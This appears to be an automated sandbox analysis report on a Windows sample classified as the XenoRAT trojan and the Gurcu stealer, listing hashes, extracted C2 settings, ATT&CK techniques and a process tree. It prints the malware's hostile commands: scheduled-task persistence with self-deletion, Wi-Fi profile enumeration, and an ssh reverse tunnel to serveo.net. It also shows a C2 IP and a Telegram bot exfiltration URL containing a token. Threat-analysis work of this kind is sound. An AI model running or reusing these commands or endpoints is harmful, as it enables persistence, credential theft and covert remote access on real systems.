gurcu | 91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff

General

Target

1bafb4856a31ae27271fbd2ee1574a4f.exe
Size

9.1MB
MD5

1bafb4856a31ae27271fbd2ee1574a4f
SHA1

b8b3649d959524df2c4e8a94434fc0de90f95005
SHA256

91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff
SHA512

e71e6ab8f548c379f49ae60e8a179ed13d41a9e9862707f15513af083f754a4585b1567491bc08ecbbd3fb700e307b8114600c9aed297932a34b5f0fe1cebe25
SSDEEP

3072:YaHDgOV/hchoS9bFr/l2Z40o6MLKkZPDOxAWP0:YmM8/DS9bF7knxMFb7D

Score

10^/10

gurcu xenorat collection discovery persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xenorat

C2

193.149.187.135

Mutex

Xeno_rat_nd8912d

Attributes

delay
5000
install_path
appdata
port
4444
startup_name
mswindow

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7935489665:AAE2XyOo-0CSgW-NXoz80QphaaOkmebwR5Q/sendMessage?chat_id=-4578472389

Signatures

Detect XenoRat Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\manager.exe	family_xenorat
behavioral2/memory/400-27-0x00000000007B0000-0x00000000007C4000-memory.dmp	family_xenorat

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exe1bafb4856a31ae27271fbd2ee1574a4f.exemanager.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	1bafb4856a31ae27271fbd2ee1574a4f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	1bafb4856a31ae27271fbd2ee1574a4f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	manager.exe

Executes dropped EXE 5 IoCs

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exemanager.exemanager.exe1bafb4856a31ae27271fbd2ee1574a4f.exe1bafb4856a31ae27271fbd2ee1574a4f.exe

pid	process
760	1bafb4856a31ae27271fbd2ee1574a4f.exe
400	manager.exe
2232	manager.exe
1040	1bafb4856a31ae27271fbd2ee1574a4f.exe
3404	1bafb4856a31ae27271fbd2ee1574a4f.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1bafb4856a31ae27271fbd2ee1574a4f.exe
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1bafb4856a31ae27271fbd2ee1574a4f.exe
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1bafb4856a31ae27271fbd2ee1574a4f.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 ip-api.com
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
17	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

manager.exemanager.exeschtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	manager.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	manager.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

cmd.exenetsh.exe

pid process

1152 cmd.exe
532 netsh.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4840 timeout.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

2136 schtasks.exe
3060 schtasks.exe

pid	process
1152	cmd.exe
532	netsh.exe

pid	process
4840	timeout.exe

pid	process
2136	schtasks.exe
3060	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exe

pid	process
760	1bafb4856a31ae27271fbd2ee1574a4f.exe
760	1bafb4856a31ae27271fbd2ee1574a4f.exe
760	1bafb4856a31ae27271fbd2ee1574a4f.exe
760	1bafb4856a31ae27271fbd2ee1574a4f.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exe1bafb4856a31ae27271fbd2ee1574a4f.exe1bafb4856a31ae27271fbd2ee1574a4f.exe1bafb4856a31ae27271fbd2ee1574a4f.exe

description	pid	process
Token: SeDebugPrivilege	3852	1bafb4856a31ae27271fbd2ee1574a4f.exe
Token: SeDebugPrivilege	760	1bafb4856a31ae27271fbd2ee1574a4f.exe
Token: SeDebugPrivilege	1040	1bafb4856a31ae27271fbd2ee1574a4f.exe
Token: SeDebugPrivilege	3404	1bafb4856a31ae27271fbd2ee1574a4f.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exe

pid process

760 1bafb4856a31ae27271fbd2ee1574a4f.exe

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.execmd.exe1bafb4856a31ae27271fbd2ee1574a4f.execmd.execmd.exemanager.exemanager.exe

description	pid	process	target process
PID 3852 wrote to memory of 2936	3852	1bafb4856a31ae27271fbd2ee1574a4f.exe	cmd.exe
PID 3852 wrote to memory of 2936	3852	1bafb4856a31ae27271fbd2ee1574a4f.exe	cmd.exe
PID 2936 wrote to memory of 3688	2936	cmd.exe	chcp.com
PID 2936 wrote to memory of 3688	2936	cmd.exe	chcp.com
PID 2936 wrote to memory of 4840	2936	cmd.exe	timeout.exe
PID 2936 wrote to memory of 4840	2936	cmd.exe	timeout.exe
PID 2936 wrote to memory of 2136	2936	cmd.exe	schtasks.exe
PID 2936 wrote to memory of 2136	2936	cmd.exe	schtasks.exe
PID 2936 wrote to memory of 760	2936	cmd.exe	1bafb4856a31ae27271fbd2ee1574a4f.exe
PID 2936 wrote to memory of 760	2936	cmd.exe	1bafb4856a31ae27271fbd2ee1574a4f.exe
PID 760 wrote to memory of 1152	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	cmd.exe
PID 760 wrote to memory of 1152	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	cmd.exe
PID 1152 wrote to memory of 4452	1152	cmd.exe	chcp.com
PID 1152 wrote to memory of 4452	1152	cmd.exe	chcp.com
PID 1152 wrote to memory of 532	1152	cmd.exe	netsh.exe
PID 1152 wrote to memory of 532	1152	cmd.exe	netsh.exe
PID 1152 wrote to memory of 2012	1152	cmd.exe	findstr.exe
PID 1152 wrote to memory of 2012	1152	cmd.exe	findstr.exe
PID 760 wrote to memory of 3324	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	cmd.exe
PID 760 wrote to memory of 3324	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	cmd.exe
PID 3324 wrote to memory of 3912	3324	cmd.exe	chcp.com
PID 3324 wrote to memory of 3912	3324	cmd.exe	chcp.com
PID 3324 wrote to memory of 4472	3324	cmd.exe	netsh.exe
PID 3324 wrote to memory of 4472	3324	cmd.exe	netsh.exe
PID 3324 wrote to memory of 2964	3324	cmd.exe	findstr.exe
PID 3324 wrote to memory of 2964	3324	cmd.exe	findstr.exe
PID 760 wrote to memory of 5032	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	ssh.exe
PID 760 wrote to memory of 5032	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	ssh.exe
PID 760 wrote to memory of 400	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	manager.exe
PID 760 wrote to memory of 400	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	manager.exe
PID 760 wrote to memory of 400	760	1bafb4856a31ae27271fbd2ee1574a4f.exe	manager.exe
PID 400 wrote to memory of 2232	400	manager.exe	manager.exe
PID 400 wrote to memory of 2232	400	manager.exe	manager.exe
PID 400 wrote to memory of 2232	400	manager.exe	manager.exe
PID 2232 wrote to memory of 3060	2232	manager.exe	schtasks.exe
PID 2232 wrote to memory of 3060	2232	manager.exe	schtasks.exe
PID 2232 wrote to memory of 3060	2232	manager.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1bafb4856a31ae27271fbd2ee1574a4f.exe

outlook_win_path 1 IoCs

Processes:

1bafb4856a31ae27271fbd2ee1574a4f.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	1bafb4856a31ae27271fbd2ee1574a4f.exe

C:\Users\Admin\AppData\Local\Temp\1bafb4856a31ae27271fbd2ee1574a4f.exe
"C:\Users\Admin\AppData\Local\Temp\1bafb4856a31ae27271fbd2ee1574a4f.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "1bafb4856a31ae27271fbd2ee1574a4f" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\1bafb4856a31ae27271fbd2ee1574a4f.exe" &&START "" "C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3688
- - C:\Windows\system32\timeout.exe
    timeout /t 3
    3⤵
    - Delays execution with timeout.exe
    PID:4840
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "1bafb4856a31ae27271fbd2ee1574a4f" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe" /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2136
- - C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe
    "C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:760
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:1152
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4452
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:532
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:2012
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3324
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3912
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4472
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:2964
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3464 serveo.net
      4⤵
      PID:5032
  - - C:\Users\Admin\AppData\Roaming\manager.exe
      "C:\Users\Admin\AppData\Roaming\manager.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:400
    - - C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe
        
        "C:\Users\Admin\AppData\Roaming\XenoManager\manager.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2232
      - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /Create /TN "mswindow" /XML "C:\Users\Admin\AppData\Local\Temp\tmp5908.tmp" /F
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3060

C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe
C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1040

C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe
C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

2

T1552

Credentials In Files

1

T1552.001

Credentials in Registry

1

T1552.002

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\1bafb4856a31ae27271fbd2ee1574a4f.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\manager.exe.log

Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
C:\Users\Admin\AppData\Local\Starlabs\1bafb4856a31ae27271fbd2ee1574a4f.exe

Filesize
9.1MB

MD5
1bafb4856a31ae27271fbd2ee1574a4f

SHA1
b8b3649d959524df2c4e8a94434fc0de90f95005

SHA256
91cfd0498b16d33890d8d4f4f1b69daaad5d703f898f46b811f73e92be19e5ff

SHA512
e71e6ab8f548c379f49ae60e8a179ed13d41a9e9862707f15513af083f754a4585b1567491bc08ecbbd3fb700e307b8114600c9aed297932a34b5f0fe1cebe25

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp5908.tmp

Filesize
1KB

MD5
ff43295eab0b6d30700cf545b83b6a4f

SHA1
84dc1111c2387fe2a378ac40d5eb80755de8a833

SHA256
ab95865908354ee888dd2ef3dd7b39edd6174fdbd1cb049fe7b3050830640908

SHA512
cefb28d7e12adf06f9565df8a9c20b39f6ee9e180c168ab449d376aaa8828faa4a9276b8f1c06b6a8761a076a18dd665eb0cc28837e8c5fa617123f09f935302

Download Submit
C:\Users\Admin\AppData\Local\phgsswc3mw\p.dat

Filesize
4B

MD5
51e6d6e679953c6311757004d8cbbba9

SHA1
ea9dc5ff81bb2208f87693b33672f46366a66bed

SHA256
0d3fa6dd8f23a9a7db9b1e3bcb8e32fe97f51c4f519bcca616ba2e7837efebc9

SHA512
b7fa7b9dd539c2a85565d0499f82158a0974a9f9c14505ce0b5e148a4dba3a211fa59fc53d70ccd21900ba81e1b27a6a83c87c82b0587f81fcd8f7123ec22c7e

Download Submit
C:\Users\Admin\AppData\Roaming\manager.exe

Filesize
51KB

MD5
da118f70d089dabfab1b43b4cd87db65

SHA1
6d7def883519e1099aa18c6ac2e1357edc7ea685

SHA256
7788f402faf2c2221307b0c90b7c97b2235d324abe07ec3965a6c21b33c0b70e

SHA512
7a78bbe0eb437bfaba85ee2513d1ccfca65b70e2e33187197d5891ddee42be453d9cadd883b171304135ee0679220e6c88c854572e41378c7968318908eaad3e

Download Submit
memory/400-27-0x00000000007B0000-0x00000000007C4000-memory.dmp

Filesize
80KB

Download
memory/760-11-0x00007FF83DD20000-0x00007FF83E7E1000-memory.dmp

Filesize
10.8MB

Download
memory/760-14-0x00007FF83DD20000-0x00007FF83E7E1000-memory.dmp

Filesize
10.8MB

Download
memory/3852-0-0x00007FF83E053000-0x00007FF83E055000-memory.dmp

Filesize
8KB

Download
memory/3852-6-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

Filesize
10.8MB

Download
memory/3852-4-0x00007FF83E050000-0x00007FF83EB11000-memory.dmp

Filesize
10.8MB

Download
memory/3852-1-0x0000014FBA770000-0x0000014FBA796000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads